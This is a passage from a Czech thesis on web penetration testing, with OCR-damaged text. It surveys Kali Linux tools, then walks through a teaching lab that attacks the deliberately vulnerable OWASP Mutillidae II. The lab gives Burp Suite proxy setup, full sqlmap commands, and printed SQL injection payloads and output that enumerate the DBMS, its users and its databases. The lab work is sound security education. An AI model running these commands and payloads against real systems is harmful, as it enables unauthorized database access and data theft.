změny oproti předchozí verzi 1.1.0a pa t ř í použi t í kernelu 4.0 založeného na distri

buci Debian Jessie, rozšíření podpory hardware / s íťových ovladačů a desktopových 

pros t ředí (gnome, kde, xfce, mate, e l7 , lxde, i3wm). 

3.1 Nástroje Kali Linux 

Vzhledem k velkému množs tv í nás t ro jů pro pene t račn í tes tování webových aplikací, 

viz obr. 3.1, budou následovně popsány pouze některé z nejpoužívanějších. Jako 

zdroj informací je použi t přehled nás t ro jů [23] a jejich oficiální s t ránky. 

Metasploit Framework 
Metasploit Framework je open-source nás t ro j , umožňující bezpečně simulovat ú toky 

na síť k odhalení bezpečnostn ích chyb a prověření síly zabezpečení webových apli

kací. Ov ládá se přes př íkazový řádek nebo přes grafické uživatelské pros t řed í (GUI) 

a vzhledem k jeho komplexnosti dokáže také pracovat s Armitage . 1 . Obsahuje přes 

1300 exploi tů, k teré k a ž d ý m dnem přibývají a více než 2000 modulů . Projekt m á 

na starosti organizace „Rapid7u, poskytuj ící k romě základní verze Metasploit Fra

mework verzi zpop la tněnou (Metasploit Pro) a verzi komuni tn í (Metasploit Com

munity) . 

Armitage - nástroj, který zviditelňuje cíle a na jejich základě doporučuje exploity. 
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I Applications Places 

Favorites 

01 - Information Gathering 

02 - VuLnerabiLity AnaLysis 

03 - Web Application AnaLys 

04 - Database Assessment 

05 - Password Attacks 

06 - WireLess Attacks 

07 - Reverse Engineering 

OS - Exploitation Tools 

09 - Sniffing & Spoofing 

10 - Post Exploitation 

11 - Forensics 

12 - Reporting TooLs 

13 - System Services 

UsuaL applications 

burpsuite 

httrack 

owasp-zap 

paros 

skipfish 

sqLmap 

vega 

w3af 

webscarab 

Activities Overview 

Obr. 3.1: Přeh led nás t ro jů v pros t řed í K a l i L inux 

Wireshark 
Wireshark je nej rozšířenější aplikace k zachytávání a analýze komunikace, prochá

zející přes použ i t á síťová rozhraní . Poskytuje stovky analyzerů komunikačních pro

tokolů, grafické uživatelské rozhran í (GUI) , podporu různých operačních sys témů 

(Windows, Linux, Mac OS X , B S D , Solaris), dešifraci protokolů ( W P A , W E P ) , po

drobnou filtraci zachycených informací atd. Dále umožňuje p řepnu t í síťové karty do 

promiskui tn ího režimu, k te rý po té dokáže zachytit veškerý síťový provoz na d a n é m 

médiu. 
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John the Ripper 
John the Ripper je nás t ro j , k t e rý je zdarma a slouží k prolomení hesla. P ů v o d n ě byl 

vyvinut pouze pro operační sys tém Unix , nyní je možné ho spustit na p a t n á c t i růz

ných p la t formách (DOS, Win32, BeOS, OpenVMS a zbylých 11 pro U n i x sys témy) . 

Kombinuje ř a d u mechanismů k prolamování klíčů do jednoho společného, automa

ticky detekuje typ zašifrování daného hesla a obsahuje konfigurovatelný „cracker" 

pro v las tn í potřeby. Může být použi t proti r ů z n ý m šifrovacím fo rmá tům hesel včetně 

typů , k te ré se používají u Un ix sys témů (založených na D E S , M D 5 , Blowfish), Ker-

beros A F S a Windows N T / X P / 2 0 0 2 / 2 0 0 3 L M hash. 

Nmap 
Nmap (Network Mapper) je open-source aplikace pro objevování sítí a p rozkoumání 

jejich bezpečnost i . Používá IP pakety k vyhledání dos tupných cílových poč í t ačů 

v síti, jaké služby host používá, typ spuš těného operačního systému, j aký typ filtru 

pake tů je použi t , pravidla firewallu atd. Podporuje velké množs tv í platforem (Linux, 

Windows, Mac OS X , Solaris, I P J X , OpenBSD a další) . 

Š t a n d a r t n í verze Nmap se ovládá přes př íkazový řádek, ale k dispozici je i grafické 

pros t ředí (Zenmap) pro zjednodušení ovladatelnosti a vykreslení mapy sítě. Zadává 

se cíl a nás ledně i profil, k te rý určuje typ skenování (obvyklý sken, intenzívní sken, 

rychlý sken, sken s použ i t ím T C P / U D P p o r t ů atd.). Výsledky jsou p růběžně gene

rovány do záložky Nmap Output, k teré lze podle po t ř eby různě filtrovat. 

Burp Suite 
Nástro j Burp Suite se používá pro bezpečnos tn í tes tování webových aplikací. A p l i 

kace se skládá z několika dílčích m o d u l ů (proxy server, intruder, repeater, web spider 

atd.), k te ré slouží k analýze a zmapování cíle, nalezení zrani te lnost í a jejich násled

nému zneužit í . Je n a p s á n v programovacím jazyce Java, což umožňuje jeho použi t í 

na l ibovolném OS. K dispozici je verze neplacená (Free Edition) a verze placená 

(Professional Edit ion) , rozšiřující verzi základní o urči té doplňky pro efektivnější 

používání . 

Sqlmap 
Sqlmap je open-source nás t ro j určený k pene t r ačn ímu testování , k te rý je speciali

zován k au toma t i ckému odhalování a využívání S Q L injection zranitelnosti. Kromě 

základních funkcí obsahuje mnoho specializovaných pro zkušené testery např . „fin-

gerprinting" da t abáze , nač í tán í dat z da t abáze , p ř í s tup ke sk ry tým sys témovým 

souborům a spouš těn í př íkazů na operačn ím sys tému pomocí out-of-band připojení . 

Podporuje 6 S Q L injection technik (boolean-based bl ind, time-based blind, error-

based, U N I O N query, stacked queries, out-of-band). 
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O W A S P Z A P 
O W A S P Z A P (Zed Attack Proxy) je open-source aplikace, u rčená ke skenování 

webových aplikací z hlediska bezpečnos tn ích nedos ta tků . J e d n á se o jeden z nejak-

tivnějších pro jek tů organizace „OWASP", díky čemuž je zaj iš těna neus tá lá podpora 

a ak tuá lnos t . Stejně jako nás t ro j Burp Suite je n a p s á n v programovacím jazyce Java, 

aby byla zaj iš těna funkčnost na l ibovolném OS a obsahuje i p o d o b n é moduly (web 

crawlers, passive scanner, automated scanner, proxy server atd.). 

W3af 
W3af (Web Appl icat ion Attack and Audi t Framework) je framework, jehož cílem je 

identifikovat a zneužívat veškeré nalezené zranitelnosti webových aplikací. Je kom

ple tně napsaný v programovacím jazyce Python, obsahuje více než 130 pluginů, k teré 

používá pro identifikaci a využi t í nalezené zranitelnosti a nachází i využi t í v p ř ípadě 

pene t račn ího tes tování metodou black-box. Pro ovládání poskytuje grafické uživa

telské rozhraní (GUI) nebo př íkazový řádek. 

XSSer 
XSSer (Cross Site „Scripter") je au toma t i cký framework, k te rý slouží k detekci, ex-

ploitu a nás ledného reportu dosažených výsledků X S S zrani te lnost í webových apli

kací. Obsahuje mnoho možnost í , jak se vyhnout u rč i tým filtrům a používá různé 

speciální techniky k aplikaci škodlivého kódu. 

WebScarab 
WebScarab je projekt organizace „OWASP", k te rý slouží k analýze a zachytávání 

komunikace webového prohlížeče tzn. webové žádost i ( H T T P i H T T P S ) i webové 

odpovědi od serveru. Vzhledem k nepříl iš p řeh lednému rozhraní je ve vývoji projekt 

WebScarab N G (Next Generation), k te rý vznikl komple tn ím p řepsán ím WebScarab 

a zaměřuje se na přívětivější uživatelské rozhraní . P ř i vzniku nás t ro je O W A S P Z A P 

se jeho vývoj stal pomalejš ím a větší pozornost je věnována právě zmíněnému ná

stroji, p řes to se však j e d n á o velmi používaný a efektivní nás t ro j k pene t r ačn ímu 

tes tování webových aplikací. 

Nessus Vulnerability Scanner 
Nessus Vulnerabili ty Scanner je celosvětově nejrozšířenější skener zrani te lnost í vyv i 

nu tý společností „Tenable Network Security" (TNS) [24]. Testování funguje na prin

cipu kontroly konkrétních chyb pomocí pluginů, k teré mají velmi rozsáhlé denně 

aktual izované da t abáze [25]. Nást ro j pracuje na modelu klient-server, což znamená , 

že uživatel se pomocí webového prohlížeče může k serveru př ipoj i t z libovolné stanice 
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v síti. Umožňuje skenování pro následující typy zranitelnosti: 

• Zranitelnosti, k te ré umožní útočníkovi převzít kontrolu nad serverem nebo 

cit l ivými daty. 

• Nesprávné konfigurace např . chybějící aktualizace. 

• Výchozí hesla, běžné hesla, úč ty s chybějícími hesly. 

• O d m í t á n í služeb (Denial of service) proti T C P / I P . 

Výsledky testu lze po té zaznamenat v různých formátech ( X M L , P D F , H T M L , 

L a T e X ) . Nessus se také vyznačuje velmi p řeh ledným a j e d n o d u c h ý m G U I 3.2, tudíž 

nás t ro j může efektivně používat i nový a nezkušený uživatel. 

Nejnovější verze je Nessus 6.5 a byla v y d á n a 15. ř í jna 2015. K dispozici jsou 

v současné době 4 různé verze z toho 3 placené (Nessus Manager, Nessus Cloud, 

Nessus Professional) pro profesionální použi t í pene t račn ích t ý m ů a jedna neplacená 

(Nessus Home). Nessus Home je určená pro nekomerční používání , avšak neposky

tuje p ř í s tup k podpoře , je značně omezená a l imitovaná max imá ln ím p o č t e m IP 

adres (16) v rámci jednoho testu. Nessus je navržen tak, aby mohl být dos tupný a 

podporovaný pro různé OS a platformy. 

Distribuce K a l i L inux nás t ro j Nessus Vulnerabili ty Scanner neobsahuje a je po

t ř e b a ho doinstalovat. 

1 AppliraN,™ - P l ^ - «U Í M S PI -

f Nessus Home/Scans " \ • 

N . , „ , H « . . / S „ . , - I « . . , « 1 e ® e 

(•,. a , 1 1 p , . ; » „ , . » 3 „ . „ 1 „ „ ; i » a „ , „ u , l . <f||*s,.«„ tt Ď * * | = 
BMo. lUI . i t . . ' HofTen,™ S . , . „ t , \K .UL . . . * . K , 0 D „ „ \ K . l i r „ h • S.ploit DB K« i r „ , « , , 

) NCSSUS 3 C A L S Polties Roo: - O * 

Apacne HTTP ser.̂ i c-.-i- r-;on-1- : 

C 
Obr. 3.2: Uživatelské pros t ředí nás t ro je Nessus 
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4 TESTOVÁNÍ ZRANITELNOSTÍ OWASP TOP 
10 

Cílem t é t o kapitoly je provedení testu webové aplikace O W A S P Muti l l idae II na 

zranitelnosti A 1 - A 5 z dokumentu OWASP Top 10 2013 pomocí pene t račn ích ná

s t rojů v distribuci K a l i Linux. P o d r o b n ý rozbor bude zároveň sloužit jako podklad 

pro vy tvořenou l abora to rn í úlohu a návod pro vyučující. 

4.1 Použitý software a vnitřní infrastruktura sítě 

Vnit řní infrastruktura sítě je zakreslena na obr. 4.1. P ros t ř edn ic tv ím vir tual izač-

ního programu Oracle V M Vir tua lBox, umís těného na P C hosta, jsou spuš těny dvě 

v i r tuá ln í stanice (Ka l i L inux a O W A S P Broken Web Applications), k teré komu

nikují s hos t i te l ským P C v režimu NAT a Host only z hlediska bezpečnost i sítě. 

Host všechny požadavky od stanic posílá routeru, k te rý je zpracuje a přepošle dál 

v závislosti na požadavku . Infrastruktura na obrázku 4.1 je vy tvořena podle mé 

vlastní . 

Obr. 4.1: Vni t řn í infrastruktura sítě 

Oracle V M Vir tua lBox 
Oracle V M Vi r tua lBox [26] je vi r tual izační nás t ro j pro profesionální nebo osobní po

užití . Je vyvíjen společností „Oracle" ve dvou licenčních podobách ( P U E L , G P L ) . 
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Obsahuje mnoho funkcí (podpora více jazyků, uk ládán í ak tuá ln ích snímků, sdílení 

složek, přenosnost , 3D virtualizaci, seamless mode atd.) a je navržen tak, aby mohl 

být spuš těn na operačních systémech Windows, U n i x / L i n u x , Mac OS a Solaris. 

O W A S P Broken Web Applications 
O W A S P Broken Web Applications [27] je souhrn všech veřejně dos tupných zranitel

ných webových aplikací určených pro pene t račn í tes tování např . Damn Vulnerable 

Web Applicat ion, b W A P P , O W A S P WebGoat, O W A S P Muti l l idae II apod. Hlavním 

účelem je poskytnout možnos t nauč i t se o bezpečnost i webových aplikací, vyzkoušet 

si manuá ln í techniky testování , au tomat izovanými nást roj i , ana lýzu zdrojového kódu 

a pozorování p r ů b ě h u webových ú toků . Projekt vede Chuck Wi l l i s a je sponzorovaný 

společností „Mandiant". 

• ~ OWASP Mutill idae II: We 
Version: 2.6.24 Security Level: 0 (Hosed) Hints: 

Home Login/Register Toggle Hints Show Popup Hints Toggle Se 

Getting Started:| 
Project 

Whitepaper 

Release 
Announcements 

Video 
Tutorials 

Installation Instructions 

Latest Version 
Installation Instructions 

Tools 

• Kali Linux 
• Samurai Web Testing Framework 

Obr. 4.2: Zranitelnosti a podvolby zneužit í 

O W A S P Muti l l idae II 
O W A S P Muti l l idae II [28] je open-source záměrně z ran i te lná webová aplikace, ur

čená pro l idi zajímající se o webovou bezpečnost . Pro uživatele, k teř í nechtějí mí t na 
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starosti administraci serveru, může být na ins ta lována na operačních systémech L i 

nux/Windows používající platformy L A M P (Linux, Apache H T T P Server, M y S Q L 

and P H P ) , W A M P (Windows Apache M y S Q L P H P ) a X A M M P (Cross-platform 

Apache M y S Q L P H P ) . Projekt vede Jeremy Dru in pod licencí G N U G P L v3 (open-

source licence). Muti l l idae poskytuje 10 zrani te lnost í z každé nově vydané verze 

dokumentu O W A S P Top 10, včetně desí tek voleb u každé z nich, j a k ý m způsobem 

zranitelnost zneužít , viz obr. 4.2. Dalšími funkcemi jsou rady pro pomoc uživateli, 

video tu tor iá ly a p řep ínán í mezi ob t ížnos tmi zabezpečení jednot l ivých zrani te lnost í . 

K a l i Linux 
Pro prezentaci zrani te lnost í bude využ i ta distribuce K a l i Linux a pene t račn í nás t ro je 

Sqlmap, Burp Suite a XSSer . 

4.2 Zranitelnost AI - SQL injection 
Cílem t é t o úlohy je získání uživatelských přihlašovacích úda jů webové aplikace 

O W A S P Muti l l idae II pomocí S Q L injection. 

P r v n í m krokem je spuštění webového prohlížeče Iceweasel v pros t ředí K a l i L i 

nux, zadán í IP adresy 192.168.56.101 ( O W A S P Broken Web Applications) a zvolení 

webové aplikace O W A S P Muti l l idae II. 

Pro aplikaci S Q L injection byl zvolen nás t ro j Sqlmap spolu s nás t ro jem Burp 

Suitě a ve webové aplikaci O W A S P Muti l l idae II model zneuži t í p ros t ředn ic tv ím 

Login 1 (přihlášení) , viz obr. 4.3 . 

/ t http://192...=Login.php *\+  
( . tjpl92.163.55.101AnutiUidag/index.php>pagg=[ogin re] |Q. Se; 

I] Most Visited* IlOffensive Security \KaliLinLix \KaLiDocs \KaliToots OExploit-DB fcAircrack-ng 

O W A S P Mutil l idae II: Web Pwn in Mass Product ion 

Get t ing S t a r t e d : 
Project 

W h i t e p a p e r 

< 9 

Vers ion : 2 .6 .24 S e c u r i t y Leve l : 0 (Hosed) Hints: Enabled (1 - S c r i p t K i d d l e ) Not L o g g e d In 

Toggle Security Enforce ! K Log View Captured 

Login 

Help M e ! 

P a s s w o r d incor rec t 

( P l e a s e s i g n - i n 

U s e r n a m e [admin 

P a s s w o r d 

Oonthave an account? Please register here 

Obr. 4.3: Model zneužit í zranitelnosti - Login 

1 „OWASP 2013" -> „AI - Injection (SQL)" -> „SQLMAP Practice" -> „Login" 
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Vzhledem k tomu, že je nemožné v tomto př ípadě použí t metodu G E T (data jsou 

vidět v U R L adrese), je p o t ř e b a zachytit H T T P komunikaci webového prohlížeče 

s webovým serverem a využí t metodu P O S T (data nejsou vidět v U R L adrese a pře

nášejí se skrytě p ros t ředn ic tv ím H T T P komunikace). Zachycení H T T P komunikace 

bude provedeno nás t ro jem Burp suitě. 

Po zapnu t í nás t ro je Burp suitě se p řepneme do záložky Proxy/Options, viz 

obr. 4.4 , kde se nas taví , na j a k é m portu bude nás t ro j naslouchat 8080, IP adresu 

127.0.0.1 a ujist íme se, že je ak t ivní (Running). 

Burp Suite Free Edition vi .6 .32 e e e 
Burp Intruder Repeater Window Help 

Target J Proxy | Spider J Scanner J Intruder J Repeater J Sequencer J Decoder J Comparer J Extender J Options J Alerts | 

Intercept HTTP history WebSockets history Options 

Proxy Listeners t> 

i^j Burp Proxy uses l isteners to receive incoming HTTP requests f rom your browser . You will need to configure your browser to use one of the listens 

inroxy seiver. 

Running Interface Invisible | Redirect 1 Certificate 

0 127 .0 .0 .1 :3030 • Per-host 

Each installation of Burp generates its own CA certificate that Proxy l isteners can use when negotiating SSL connect ions. You can import or export 
certificate for use in other tools or another installation of Burp. 

1̂ Import / export CA certificate J | Regenerate CA certificate 

^Yj Intercept Client Requests 

[T̂ j Use these settings to control which requests are stal led for viewing and editing in the Intercept tab. 

0 Intercept requests based on the following rules: 

Obr. 4.4: Nastavení proxy portu a IP adresy 

Dále je p o t ř e b a nastavit ve webovém prohlížeči stejné údaje , adresu H T T P proxy 

127.0.0.1 a port 8080. Po nas tavení proxy serveru nebude možné používat prohlížeč 

k běžnému surfování po internetu, dokud nep řepneme zpě t proxy na původn í hod

noty. Z tohoto důvodu je v prohlížeči Iceweasel doinstalován doplněk Swap Proxy, 

k te rý slouží k rychlému přep ínan í mezi proxy servery, viz obr. 4.5. 

Po nas tavení proxy serverů je již možné odchytit H T T P komunikaci. Vyplněním 

úda jů username (uživatelské jméno) , password (heslo) a po tv rzen ím t lač í tkem Login 

se zachyt í H T T P komunikace, kterou lze vidět v záložce Proxy/Intercept v ná

stroji Burp Suitě, viz obr. 4.6. Zde je vidět celý náš požadavek, k t e rý je možné si 

proh lédnout v záložkách: 

• Raw - zobrazuje celý požadavek, k t e rý je odesí lán webovému serveru. 
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• Params - zobrazuje názvy a hodnoty předávaných p a r a m e t r ů . 

• Headers - zobrazuje H T T P hlavičky. 

• Hex - zobrazuje cely požadavek v hexadec imáln ím zobrazení . 

Swap Proxy Preference Box 

Select Proxy Type: 

9 ManuaL P roxy Conf igurat ion 

Manual . P roxy : 127.0.0,1 Port : SOSO 

MUse this proxy server for al l p rotoco l s 

O Au tomat i c P roxy Conf igurat ion 

O A u t o - D e t e c t P roxy Se t t ings 

Proxy Settings on browser launch: 

® Prev ious ly Saved Conf igurat ion 

Automat i ca l l y S w i t c h O N P roxy 

O Au tomat i ca l l y S w i t c h O F F P roxy 

Cancel . OK 

Obr. 4.5: Nas tavení proxy ve webovém prohlížeči Iceweasel 

Burp Suite Free Edition vl .6.32 © © © 

Burp Intruder Repeater Window Help 

Target J~ Spider j Scanner j Intruder j Repeater j Sequencer j Decoder j Comparer j Extender j Options j Alerts j 

t~J HTTP history j WebSockets history j Options | 

0 Request to http://192.168.56.101:80 

1 Forward J ^ Drop J f Intercept is on | [ Action ["?] 

J Raw [ Pararns Headers Hex 

POST / m u t i l l i d a e / i n d e x . p h p ? p a g e = l o g i n . p h p HTTP/1 .1 
H o s t : 1 9 2 , 1 6 8 . 5 6 . 1 0 1 
U s e r - A g e n t : M o z i l l a / 5 . 0 1X11; L i n u x X 8 6 6 4 ; r v : 3 8 . 0 ) Gecko/20100101 F i r e f o x / 3 8 . 0 I c e w e a s e l / 3 8 . 6 . 1 
A c c e p t : t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x n l ; q = 0 . 9 , * / * ; q = 0 . 8 
A c c e p t - L a n g u a g e : e n - U S , e n ; q = 0 . 5 
A c c e p t - E n c o d i n g : g z i p , d e f l a t e 
R e f e r e r : h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 0 1 / m u t i l l i d a e / i n d e x . p h p ? p a g e = l o g i n . p h p 
C o o k i e : s h o w h i n t s = l ; PHPSESSID=3cm3j Snpcvj S95mn019ga29n80; a c o p e n d i v i d s = s w i n g s e t , j o t t o * p h p b b 2 , r e d n i n e ; 
aeg r o u p s w i t hpe r s i s t ^ n a d a 
C o n n e c t i o n : c l o s e 
C o n t e n t - T y p e : a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d 
C o n t e n t - L e n g t h : 59 

u s e r n a m e = a d m i n & p a s s w o r d = a d m i n & l o g i n - p h p - s u b m i t - b u t t o n = L o g i n 

Obr. 4.6: Zachycení H T T P komunikace 
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Kromě spousty uži tečných informací v celém požadavku (metoda P O S T , kódo

vání, user-agent, cookie), jsou nejdůležitější informací p ř ímo zachycená data, tedy 

údaje username admin a password admin, k teré byly vloženy do požadavku t lačí t

kem Login a formát maj í následující: 

username=admin&password=admin&login-php-submit-button=Login 

Zadané údaje sice nebyly správné pro úspěšné přihlášení do webové aplikace, ale 

nás t ro j Sqlmap bude po t řebova t výše zmíněný formát dat k pokusu o S Q L injection 

metodou P O S T . Získáním těchto dat bylo cílem nás t ro je Burp Suitě a nyní lze po

užít nás t ro j Sqlmap. 

Sqlmap 
Sqlmap se ovládá přes př íkazový řádek a první věc, kterou by měl každý nezkušený 

uživatel uděla t po spuš tění t e rminá lu , je zjistit, jaké možnost i nás t ro j poskytuje. 

Př íkaz : 

root@Kali :~# sqlmap -help 

sqlmap - j m é n o b inárn ího souboru 

-help - zobrazení nápovědy 

root®Kali : - © © © 

File Edit V iew Search Terminal HeLp 

Finge rp r i n t : 
- f , - - f i n g e r p r i n t Perform an extensive DBMS version f i n g e r p r i n t 

Enume ra t i o n : 
These options can be used to enumerate the back-end database 
management system information, structure and data contained i n the 
table s . Moreover you can run your own SQL statements 

-a, - - a l l Retrieve everything 
-b, --banner Retrieve DBMS banner 
--current-user Retrieve DBMS current user 
--current-db Retrieve DBMS current database 
- -hostname Retrieve DBMS server hostname 
- -is-dba Detect i f the DBMS current user i s DBA 
--users Enumerate DBMS users 
--passwo rds Enumerate DBMS users password hashes 
--p r i v i l e g e s Enumerate DBMS users p r i v i l e g e s 
- - roles Enumerate DBMS users roles 
-dbs Enumerate DBMS databases 
- -tables Enumerate DBMS database tables 
- -columns Enumerate DBMS database table columns 
- -schema Enumerate DBMS schema 
- -count Retrieve number of en t r i e s f o r table(s) 
- -dump Dump DBMS database table e n t r i e s 

Obr. 4.7: Volby Enumeration a Fingerprint 
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root®Kali : - O © © 

File Edit V iew Search Terminal HeLp 

Ta rget: 
At l e a s t one of these options has to be provided to define the 
target(s) 

-u URL, --url=URL Target URL [e.g. "http://www.site.com/vuln.php?id=l") 
-g GOGGLEDORK Process Google dork results as target URLs 

Request: 
These options can be used to specify how to connect to the target URL 

--data=DATA Data s t r i n g to be sent through POST 
--cookie=C00KIE HTTP Cookie header value 
- - random-agent Use randomly selected HTTP User-Agent header value 
--proxy=PROXY Use a proxy to connect to the target URL 
- -tor Use Tor anonymity network 
- -check-to r Check to see i f Tor i s used properly 

Obr. 4.8: Volby Target a Request 

Zobrazí se dlouhý výpis voleb a jejich př íkazů, mezi k te ré např . pa t ř í : 

• Target - volba, k t e rá musí být vždy z a d á n a a určuje cíl. 

• Request - volby, k te ré stanovují , j a k ý m způsobem se př ipoj íme k cílové U R L . 

• Enumeration - volby, k teré se používají k získání informací o systémové 

da tabáz i , s t ruk tu ře a úda jů obsažených v t abu lkách . 

• Fingerprint - výpis konkré tn í verze da t abáze . 

Pro tuto úlohu jsou ne jpods ta tně jš í příkazy, obsažené pod výše zmíněnými vol

bami Enumeration, Fingerprint, viz obr. 4.7 a Target, Request, viz obr. 4.8. 

Dalš ím krokem je shromáždění základních informací o d a n é m cíli, tzn. je po t ř eba 

vědět , co v las tně testujeme, protože spousty exploi tů jsou velmi citlivé na konkré tn í 

OS, služby a aplikace. V tomto př ípadě je dobré vědět , o j aký D B M S (Database M a 

nagement System - sys tém řízení báze dat) ve skutečnost i jde. Dále se přesvědčíme, 

zda-li je nás t ro j opravdu schopen použí t S Q L injection na cílovou webovou aplikaci. 

Př íkaz : 

root@Kali :~# sqlmap -u "http://192.168.56.101/mutillidae/index.php?page=  

login.php"—data="username=admin&password=admin&login-php-submit-but 

ton=Login"-f -b 

sqlmap - j m é n o b inárn ího souboru 

-u - označení cílové U R L 

—data= - da tový řetězec pos lán metodou P O S T 

-f - výpis konkré tn í verze D B M S 

-b - výpis „banneru" D B M S 
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Během tes tování se nás může program do táza t , j a k ý m způsobem chceme pokra

čovat. Pro tuto úlohu to jsou následující dotazy a odpovědi: 

• It looks like the back-end D B M S is ' M y S Q L ' . Do you want to skip test payloads 

specific for other DBMSes? [Y/n] y 

• For the remaining tests, do you want to include all tests for ' M y S Q L ' extending 

provided level (1) and risk (1) values? [Y/n] y 

• Sqlmap got a 302 redirect to 'http://192.168.56.101:80/mutillidae/index.php?p 

opUpNot i f ica t ionCode=AUl ' . Do you want to follow? [Y/n] y 

• Redirect is a result of a P O S T request. Do you want to resend original P O S T 

data to a new location? [y/N] y 

• P O S T parameter 'username' is vulnerable. Do you want to keep testing the 

others (if any)? [y/N] n 

root@Kali: " O O O 

riLe td i t v iew bearch lerminaL MeLp 

sqlmap resumed the following i n j e c t i o n point(s) from stored session: 

Parameter: username (POST) 
Type: boolean-based b l i n d 
T i t l e : OR boolean-based b l i n d - WHERE or HAVING clause [MySQL comment) 
Payload: username=-8443' OR 2695=2695#6password=admin61ogin-php-submit-butto 

n=Login 

Type: error-based 
T i t l e : MySQL OR error-based - WHERE or HAVING clause 
Payload: username=-3929' OR 1 GROUP BY CONCAT[0x716b6b7171,[SELECT [CASE WHE 

N (3069=3069) THEN 1 ELSE 0 END]),0x717a716a71,FLOOR[RAND[0)*2)) HAVING MIN[0)#& 
passwo rd=adminSlogin-php-submit-button=Login 

Type: AND/OR time-based b l i n d 
T i t l e : MySQL >= 5.0.12 AND time-based b l i n d (SELECT - comment) 
Payload: username=admin' AND [SELECT * FROM (SELECT[SLEEP[5)))XaTN)#Spasswor 

d=admin61ogin-php-submit-button=Login 

[15:15:33] [INFO] t e s t i n g MySQL 
[15:15:37] [WARNING] r e f l e c t i v e value(s) found and f i l t e r i n g out 
[15:15:39] [INFO] confirming MySQL 
[15:15:40] [INFO] the back-end DBMS i s MySQL 
[15:15:46] [INFO] fetching banner 
[15:15:41] [INFO] retrieved: 5.1.41-3ubuntul2 .6-log 
[15:15:41] [INFO] a c t i v e l y f i n g e r p r i n t i n g MySQL 
[15:15:44] [INFO] executing MySQL comment i n j e c t i o n f i n g e r p r i n t 
web server operating system: Linux Ubuntu 1Q.Q4 (Lucid Lynx) 
web a p p l i c a t i o n technology: PHP 5.3.2, Apache 2.2.14 
back-end DBMS operating system: Linux Ubuntu 
back-end DBMS: acti v e f i n g e r p r i n t : MySQL >= 5.1.12 and < 5.5.0 

comment i n j e c t i o n f i n g e r p r i n t : MySQL 5.1.41 
banner parsing f i n g e r p r i n t : MySQL 5.1.41, logging enabled 

banner: '5.1.41-3ubuntul2.6-log' 

Obr. 4.9: Výpis úspěšné S Q L injection, fingerprint a „banneru" 

Po ukončení testu te rminá l vypíše informace, viz obr. 4.9, ze k te rých kromě 
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potvrzení o úspěšné aplikaci S Q L injection lze zjistit následující: 

• Cílový parametr je username a použ i t á metoda POST. 

• Aplikovány byly 3 typy S Q L injection (boolean-based blind, error-based, AND/ 

OR time-based blind), kde nás t ro j uvádí jejich Title (záhlaví) a Payload (škod

livý kód) . 

• Technologie webové aplikace PEP 5.3.2, Apache 2.2.14 a OS webového serveru 

Linux Ubuntu 10.04-

• T y p D B M S je MySQL 5.1.41, kde přesnou verzi zjistila metoda fingerprint 

rozborem „banneru" a aplikací comment injection. 

Dalš ím krokem bude zjištění j m é n a ak tuá ln ího uživatele, ak tuá ln í da t abáze , ná

zvu serveru, a zda-li je ak tuá ln í uživatel DBA (Database Administrator) . 

Př íkaz : 

root@Kali :~# sqlmap -u "http://192.168.56.101/mutillidae/index.php?page=  

login.php"—data="username=admin&password=admin&login-php-submit-but 

ton=Login"—hostname —is-dba —current-user —current-db 

sqlmap - j m é n o b inárn ího souboru 

-u - označení cílové U R L 

—data= - da tový řetězec pos lán metodou P O S T 

—hostname - výpis názvu serveru D B M S 

—is-dba - ověření, zda-li je ak tuá ln í uživatel DBA sys tému D B M S 

—current-user - výpis ak tuá ln ího uživatele D B M S 

—current-db - výpis ak tuá ln í da t abáze D B M S 

root® Kali: " e e e 

File Edit View Search Terminal HeLp 
[15:21:39] [INFO] the back-end DBMS i s MySQL 
wsb server operating system: Linux Ubuntu 10.04 (Lucid Lynx) 
web a p p l i c a t i o n technology: PHP 5.3.2, Apache 2.2.14 
back-end DBMS: MySQL 5 
[15:21:39] [INFO] fetching current user 
[15:21:41] [WARNING] r e f l e c t i v e value(s) found and f i l t e r i n g out 
[15:21:41] [INFO] retrieved: mutillidae@% 
current user: mutillidae@V 
[15:21:41] [INFO] fetching current database 
[15:21:42] [INFO] ret rieved: nowasp 
current database: 'nowasp' 
[15:21:42] [INFO] fetching server hostname 
[15:21:42] [INFO] ret rieved: owaspbwa 
hostname: 1owaspbwa' 
[15:21:42] [INFO] t e s t i n g i f current user i s DBA 
[15:21:42] [INFO] fetching current user 
current user i s DBA: True 

Obr. 4.10: Výpis current user, current database, hostname a DBA 
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Z obrázku 4.10 je vidět , že nás t ro j úspěšně vypsal informace, k te ré jsme poža

dovali. Ak tuá ln í uživatel je mutillidae@% a je DBA, ak tuá ln í da t abáze se jmenuje 

nowasp a název serveru je owaspbwa. 

V tomto bodě jsme shromáždil i dostatek informací o webové aplikaci a nyní je 

p o t ř e b a zjistit, jaké da t abáze jsou obsaženy v da t abázovém sys tému M y S Q L . 

Př íkaz : 

root@Kali :~# sqlmap -u "http://192.168.56.101/mutillidae/index.php?page= 

login.php"—data="username=admin&password=admin&login-php-submit-but 

ton=Login"—dbs 

sqlmap - j m é n o b inárn ího souboru 

-u - označení cílové U R L 

—data= - da tový řetězec pos lán metodou P O S T 

—dbs - výpis da t abáz í D B M S 

FiLe Edit V iew Search Terminal HeLp 

root @ Kali: " e e e 

a v a i l a b l e databases [34] : 
[*] .svn 
[*] b r i c k s 
[*] bwapp 
[*] c i t i z e n s 
[*] c ryptomg 
[*] dvwa 
[*] g a l l e ry2 
[*] getboo 
[*] ghost 
[*] gtd-php 
[*] hex 
[*] information schema 
[*] i s p 
[*] j oomla 
[*] m u t i l l i d a e 
[*] mysql 
[*] nowasp 
[*] orangehrm 
[*] pe rsonalblog 
[*] pe ruggia 
[*] phpbb 
[*] phpmyadmin 

Obr. 4.11: Výpis dbs 

Vzhledem k d louhému seznamu da t abáz í je výpis zkrácen, viz obr. 4.11. Infor-

mation_schema je součást í každé systémové da t abáze M y S Q L a obsahuje informace 

o všech objektech v instanci M y S Q L . V seznamu je uvedená i da t abáze nowasp, kte

rou jsme zjistili v předchozím kroku a právě na tu je p o t ř e b a se zaměř i t . Každá 
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da t abáze se skládá z tabulek (tables) a ty obsahují nějaké sloupce (columns) s hod

notami. Nejdříve tedy odhal íme, jaké obsahuje tabulky. 

Př íkaz : 

root@Kali :~# sqlmap -u "http://192.168.56.101/mutillidae/index.php?page= 

login.php"—data="username=admin&password=admin&login-php-submit-but 

ton=Login"-D nowasp —tables 

